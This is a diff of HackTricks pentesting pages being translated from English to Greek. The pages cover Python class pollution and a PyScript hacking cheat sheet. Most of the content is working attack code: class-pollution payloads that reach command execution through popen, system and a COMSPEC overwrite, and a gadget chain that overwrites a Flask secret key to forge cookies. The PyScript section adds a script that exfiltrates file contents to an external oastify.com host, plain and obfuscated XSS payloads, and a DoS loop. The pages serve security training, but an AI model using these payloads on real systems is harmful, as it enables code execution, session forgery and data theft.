|
||||
```
|
||||
|
||||
## Gadget Examples
|
||||
## Παραδείγματα Gadget
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Creating class property default value to RCE (subprocess)</summary>
|
||||
|
||||
<summary>Δημιουργία προεπιλεγμένης τιμής ιδιότητας κλάσης για RCE (subprocess)</summary>
|
||||
```python
|
||||
from os import popen
|
||||
class Employee: pass # Creating an empty class
|
||||
|
@ -90,31 +151,31 @@ class HR(Employee): pass # Class inherits from Employee class
|
|||
class Recruiter(HR): pass # Class inherits from HR class
|
||||
|
||||
class SystemAdmin(Employee): # Class inherits from Employee class
|
||||
def execute_command(self):
|
||||
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
|
||||
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
||||
def execute_command(self):
|
||||
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
|
||||
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
USER_INPUT = {
|
||||
"__class__":{
|
||||
"__base__":{
|
||||
"__base__":{
|
||||
"custom_command": "whoami"
|
||||
}
|
||||
}
|
||||
}
|
||||
"__class__":{
|
||||
"__base__":{
|
||||
"__base__":{
|
||||
"custom_command": "whoami"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
recruiter_emp = Recruiter()
|
||||
|
@ -129,30 +190,28 @@ merge(USER_INPUT, recruiter_emp)
|
|||
print(system_admin_emp.execute_command())
|
||||
#> [!] Executing: "whoami", output: "abdulrah33m"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Polluting other classes and global vars through <code>globals</code></summary>
|
||||
|
||||
<summary>Ρύπανση άλλων κλάσεων και παγκόσμιων μεταβλητών μέσω της <code>globals</code></summary>
|
||||
```python
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
class User:
|
||||
def __init__(self):
|
||||
pass
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
class NotAccessibleClass: pass
|
||||
|
||||
|
@ -163,32 +222,30 @@ merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Pollut
|
|||
print(not_accessible_variable) #> Polluted variable
|
||||
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Arbitrary subprocess execution</summary>
|
||||
|
||||
<summary>Αυθαίρετη εκτέλεση υποδιεργασιών</summary>
|
||||
```python
|
||||
import subprocess, json
|
||||
|
||||
class Employee:
|
||||
def __init__(self):
|
||||
pass
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
# Overwrite env var "COMSPEC" to execute a calc
|
||||
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
|
||||
|
@ -197,39 +254,37 @@ merge(USER_INPUT, Employee())
|
|||
|
||||
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Overwritting <strong><code>__kwdefaults__</code></strong></summary>
|
||||
|
||||
**`__kwdefaults__`** is a special attribute of all functions, based on Python [documentation](https://docs.python.org/3/library/inspect.html), it is a “mapping of any default values for **keyword-only** parameters”. Polluting this attribute allows us to control the default values of keyword-only parameters of a function, these are the function’s parameters that come after \* or \*args.
|
||||
<summary>Αντικατάσταση του <strong><code>__kwdefaults__</code></strong></summary>
|
||||
|
||||
**`__kwdefaults__`** είναι ένα ειδικό χαρακτηριστικό όλων των συναρτήσεων, βάσει της [τεκμηρίωσης](https://docs.python.org/3/library/inspect.html) της Python, είναι ένα "χαρτογράφημα των προεπιλεγμένων τιμών για τις παραμέτρους μόνο με λέξεις-κλειδιά". Η αλλοίωση αυτού του χαρακτηριστικού μας επιτρέπει να ελέγχουμε τις προεπιλεγμένες τιμές των παραμέτρων μόνο με λέξεις-κλειδιά μιας συνάρτησης, αυτές είναι οι παράμετροι της συνάρτησης που ακολουθούν μετά το \* ή \*args.
|
||||
```python
|
||||
from os import system
|
||||
import json
|
||||
|
||||
def merge(src, dst):
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
# Recursive merge function
|
||||
for k, v in src.items():
|
||||
if hasattr(dst, '__getitem__'):
|
||||
if dst.get(k) and type(v) == dict:
|
||||
merge(v, dst.get(k))
|
||||
else:
|
||||
dst[k] = v
|
||||
elif hasattr(dst, k) and type(v) == dict:
|
||||
merge(v, getattr(dst, k))
|
||||
else:
|
||||
setattr(dst, k, v)
|
||||
|
||||
class Employee:
|
||||
def __init__(self):
|
||||
pass
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def execute(*, command='whoami'):
|
||||
print(f'Executing {command}')
|
||||
system(command)
|
||||
print(f'Executing {command}')
|
||||
system(command)
|
||||
|
||||
print(execute.__kwdefaults__) #> {'command': 'whoami'}
|
||||
execute() #> Executing whoami
|
||||
|
@ -242,24 +297,21 @@ print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
|
|||
execute() #> Executing echo Polluted
|
||||
#> Polluted
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Overwriting Flask secret across files</summary>
|
||||
|
||||
So, if you can do a class pollution over an object defined in the main python file of the web but **whose class is defined in a different file** than the main one. Because in order to access \_\_globals\_\_ in the previous payloads you need to access the class of the object or methods of the class, you will be able to **access the globals in that file, but not in the main one**. \
|
||||
Therefore, you **won't be able to access the Flask app global object** that defined the **secret key** in the main page:
|
||||
<summary>Αντικατάσταση του μυστικού του Flask σε διάφορα αρχεία</summary>
|
||||
|
||||
Έτσι, αν μπορείτε να κάνετε μια κλασική ρύπανση πάνω σε ένα αντικείμενο που έχει οριστεί στο κύριο αρχείο Python της ιστοσελίδας, **της οποίας η κλάση έχει οριστεί σε διαφορετικό αρχείο** από το κύριο. Επειδή για να έχετε πρόσβαση στο \_\_globals\_\_ στις προηγούμενες επιθέσεις, πρέπει να έχετε πρόσβαση στην κλάση του αντικειμένου ή στις μεθόδους της κλάσης, θα μπορείτε να **έχετε πρόσβαση στα globals σε αυτό το αρχείο, αλλά όχι στο κύριο**. \
|
||||
Συνεπώς, **δεν θα μπορείτε να έχετε πρόσβαση στο αντικείμενο Flask app global** που ορίζει το **κλειδί του μυστικού** στην κύρια σελίδα:
|
||||
```python
|
||||
app = Flask(__name__, template_folder='templates')
|
||||
app.secret_key = '(:secret:)'
|
||||
```
|
||||
Σε αυτό το σενάριο χρειάζεστε ένα εργαλείο για να περιηγηθείτε στα αρχεία για να φτάσετε στο κύριο αρχείο και να **αποκτήσετε πρόσβαση στον παγκόσμιο αντικείμενο `app.secret_key`** για να αλλάξετε το μυστικό κλειδί του Flask και να είστε σε θέση να [**αναβαθμίσετε τα δικαιώματα** γνωρίζοντας αυτό το κλειδί](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||
|
||||
In this scenario you need a gadget to traverse files to get to the main one to **access the global object `app.secret_key`** to change the Flask secret key and be able to [**escalate privileges** knowing this key](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||
|
||||
A payload like this one [from this writeup](https://ctftime.org/writeup/36082):
|
||||
Ένα πακέτο όπως αυτό [από αυτήν την ανάλυση](https://ctftime.org/writeup/36082):
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
|
@ -267,30 +319,30 @@ __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.se
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Use this payload to **change `app.secret_key`** (the name in your app might be different) to be able to sign new and more privileges flask cookies.
|
||||
Χρησιμοποιήστε αυτό το payload για να **αλλάξετε το `app.secret_key`** (το όνομα στην εφαρμογή σας μπορεί να είναι διαφορετικό) για να μπορείτε να υπογράφετε νέα και πιο προνόμια cookies του flask.
|
||||
|
||||
</details>
|
||||
|
||||
Check also the following page for more read only gadgets:
|
||||
Ελέγξτε επίσης την παρακάτω σελίδα για περισσότερα gadgets μόνο για ανάγνωση:
|
||||
|
||||
{% content-ref url="python-internal-read-gadgets.md" %}
|
||||
[python-internal-read-gadgets.md](python-internal-read-gadgets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
* [https://blog.abdulrah33m.com/prototype-pollution-in-python/](https://blog.abdulrah33m.com/prototype-pollution-in-python/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,79 +2,72 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## PyScript Pentesting Guide
|
||||
## Οδηγός Χάκινγκ με το PyScript
|
||||
|
||||
PyScript is a new framework developed for integrating Python into HTML so, it can be used alongside HTML. In this cheat sheet, you'll find how to use PyScript for your penetration testing purposes.
|
||||
Το PyScript είναι ένα νέο πλαίσιο που αναπτύχθηκε για την ενσωμάτωση της Python στο HTML, έτσι ώστε να μπορεί να χρησιμοποιηθεί δίπλα στο HTML. Σε αυτό το cheat sheet, θα βρείτε πώς να χρησιμοποιήσετε το PyScript για τους σκοπούς των δοκιμών διείσδυσης.
|
||||
|
||||
### Dumping / Retrieving files from the Emscripten virtual memory filesystem:
|
||||
### Αποθήκευση / Ανάκτηση αρχείων από το αρχείοσύστημα εικονικής μνήμης Emscripten:
|
||||
|
||||
`CVE ID: CVE-2022-30286`\
|
||||
\
|
||||
Code:
|
||||
|
||||
Κώδικας:
|
||||
```html
|
||||
<py-script>
|
||||
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin:
|
||||
out = fin.read()
|
||||
print(out)
|
||||
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin:
|
||||
out = fin.read()
|
||||
print(out)
|
||||
</py-script>
|
||||
```
|
||||
|
||||
Result:
|
||||
Αποτέλεσμα:
|
||||
|
||||
![](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png)
|
||||
|
||||
### [OOB Data Exfiltration of the Emscripten virtual memory filesystem (console monitoring)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)
|
||||
### [OOB Διαρροή Δεδομένων του Emscripten εικονικού συστήματος αρχείων μνήμης (παρακολούθηση κονσόλας)](https://github.com/s/jcd3T19P0M8QRnU1KRDk/\~/changes/Wn2j4r8jnHsV8mBiqPk5/blogs/the-art-of-vulnerability-chaining-pyscript)
|
||||
|
||||
`CVE ID: CVE-2022-30286`\
|
||||
\
|
||||
Code:
|
||||
|
||||
Κώδικας:
|
||||
```html
|
||||
<py-script>
|
||||
<py-script>
|
||||
x = "CyberGuy"
|
||||
if x == "CyberGuy":
|
||||
with open('/lib/python3.10/asyncio/tasks.py') as output:
|
||||
contents = output.read()
|
||||
print(contents)
|
||||
with open('/lib/python3.10/asyncio/tasks.py') as output:
|
||||
contents = output.read()
|
||||
print(contents)
|
||||
print('<script>console.pylog = console.log; console.logs = []; console.log = function(){ console.logs.push(Array.from(arguments)); console.pylog.apply(console, arguments);fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {method: "POST",headers: {"Content-Type": "text/plain;charset=utf-8"},body: JSON.stringify({"content": btoa(console.logs)})});}</script>')
|
||||
</py-script>
|
||||
</py-script>
|
||||
```
|
||||
|
||||
Result:
|
||||
Αποτέλεσμα:
|
||||
|
||||
![](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png)
|
||||
|
||||
### Cross Site Scripting (Ordinary)
|
||||
|
||||
Code:
|
||||
### Cross Site Scripting (Κανονικό)
|
||||
|
||||
Κώδικας:
|
||||
```python
|
||||
<py-script>
|
||||
print("<img src=x onerror='alert(document.domain)'>")
|
||||
print("<img src=x onerror='alert(document.domain)'>")
|
||||
</py-script>
|
||||
```
|
||||
|
||||
Result:
|
||||
Αποτέλεσμα:
|
||||
|
||||
![](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png)
|
||||
|
||||
### Cross Site Scripting (Python Obfuscated)
|
||||
|
||||
Code:
|
||||
### Cross Site Scripting (Python Αποκρυπτογραφημένο)
|
||||
|
||||
Κώδικας:
|
||||
```python
|
||||
<py-script>
|
||||
sur = "\u0027al";fur = "e";rt = "rt"
|
||||
|
@ -86,50 +79,45 @@ y = "o";m = "ner";z = "ror\u003d"
|
|||
print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
|
||||
</py-script>
|
||||
```
|
||||
|
||||
Result:
|
||||
Αποτέλεσμα:
|
||||
|
||||
![](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png)
|
||||
|
||||
### Cross Site Scripting (JavaScript Obfuscation)
|
||||
|
||||
Code:
|
||||
### Cross Site Scripting (Απόκρυψη JavaScript)
|
||||
|
||||
Κώδικας:
|
||||
```html
|
||||
<py-script>
|
||||
prinht("<script>var _0x3675bf=_0x5cf5;function _0x5cf5(_0xced4e9,_0x1ae724){var _0x599cad=_0x599c();return _0x5cf5=function(_0x5cf5d2,_0x6f919d){_0x5cf5d2=_0x5cf5d2-0x94;var _0x14caa7=_0x599cad[_0x5cf5d2];return _0x14caa7;},_0x5cf5(_0xced4e9,_0x1ae724);}(function(_0x5ad362,_0x98a567){var _0x459bc5=_0x5cf5,_0x454121=_0x5ad362();while(!![]){try{var _0x168170=-parseInt(_0x459bc5(0x9e))/0x1*(parseInt(_0x459bc5(0x95))/0x2)+parseInt(_0x459bc5(0x97))/0x3*(-parseInt(_0x459bc5(0x9c))/0x4)+-parseInt(_0x459bc5(0x99))/0x5+-parseInt(_0x459bc5(0x9f))/0x6*(parseInt(_0x459bc5(0x9d))/0x7)+-parseInt(_0x459bc5(0x9b))/0x8*(-parseInt(_0x459bc5(0x9a))/0x9)+-parseInt(_0x459bc5(0x94))/0xa+parseInt(_0x459bc5(0x98))/0xb*(parseInt(_0x459bc5(0x96))/0xc);if(_0x168170===_0x98a567)break;else _0x454121['push'](_0x454121['shift']());}catch(_0x5baa73){_0x454121['push'](_0x454121['shift']());}}}(_0x599c,0x28895),prompt(document[_0x3675bf(0xa0)]));function _0x599c(){var _0x34a15f=['15170376Sgmhnu','589203pPKatg','11BaafMZ','445905MAsUXq','432bhVZQo','14792bfmdlY','4FKyEje','92890jvCozd','36031bizdfX','114QrRNWp','domain','3249220MUVofX','18cpppdr'];_0x599c=function(){return _0x34a15f;};return _0x599c();}</script>")
|
||||
</py-script>
|
||||
prinht("<script>var _0x3675bf=_0x5cf5;function _0x5cf5(_0xced4e9,_0x1ae724){var _0x599cad=_0x599c();return _0x5cf5=function(_0x5cf5d2,_0x6f919d){_0x5cf5d2=_0x5cf5d2-0x94;var _0x14caa7=_0x599cad[_0x5cf5d2];return _0x14caa7;},_0x5cf5(_0xced4e9,_0x1ae724);}(function(_0x5ad362,_0x98a567){var _0x459bc5=_0x5cf5,_0x454121=_0x5ad362();while(!![]){try{var _0x168170=-parseInt(_0x459bc5(0x9e))/0x1*(parseInt(_0x459bc5(0x95))/0x2)+parseInt(_0x459bc5(0x97))/0x3*(-parseInt(_0x459bc5(0x9c))/0x4)+-parseInt(_0x459bc5(0x99))/0x5+-parseInt(_0x459bc5(0x9f))/0x6*(parseInt(_0x459bc5(0x9d))/0x7)+-parseInt(_0x459bc5(0x9b))/0x8*(-parseInt(_0x459bc5(0x9a))/0x9)+-parseInt(_0x459bc5(0x94))/0xa+parseInt(_0x459bc5(0x98))/0xb*(parseInt(_0x459bc5(0x96))/0xc);if(_0x168170===_0x98a567)break;else _0x454121['push'](_0x454121['shift']());}catch(_0x5baa73){_0x454121['push'](_0x454121['shift']());}}}(_0x599c,0x28895),prompt(document[_0x3675bf(0xa0)]));function _0x599c(){var _0x34a15f=['15170376Sgmhnu','589203pPKatg','11BaafMZ','445905MAsUXq','432bhVZQo','14792bfmdlY','4FKyEje','92890jvCozd','36031bizdfX','114QrRNWp','domain','3249220MUVofX','18cpppdr'];_0x599c=function(){return _0x34a15f;};return _0x599c();}</script>")
|
||||
</py-script>
|
||||
```
|
||||
|
||||
Result:
|
||||
Αποτέλεσμα:
|
||||
|
||||
![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png)
|
||||
|
||||
### DoS attack (Infinity loop)
|
||||
|
||||
Code:
|
||||
### Επίθεση DoS (Άπειρος βρόχος)
|
||||
|
||||
Κώδικας:
|
||||
```html
|
||||
<py-script>
|
||||
while True:
|
||||
print(" ")
|
||||
</py-script>
|
||||
<py-script>
|
||||
while True:
|
||||
print(" ")
|
||||
</py-script>
|
||||
```
|
||||
|
||||
Result:
|
||||
Αποτέλεσμα:
|
||||
|
||||
![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,37 +1,35 @@
|
|||
# Python Internal Read Gadgets
|
||||
# Εργαλεία Ανάγνωσης Εσωτερικών Στοιχείων της Python
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΠΛΑΝΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
## Basic Information
|
||||
## Βασικές Πληροφορίες
|
||||
|
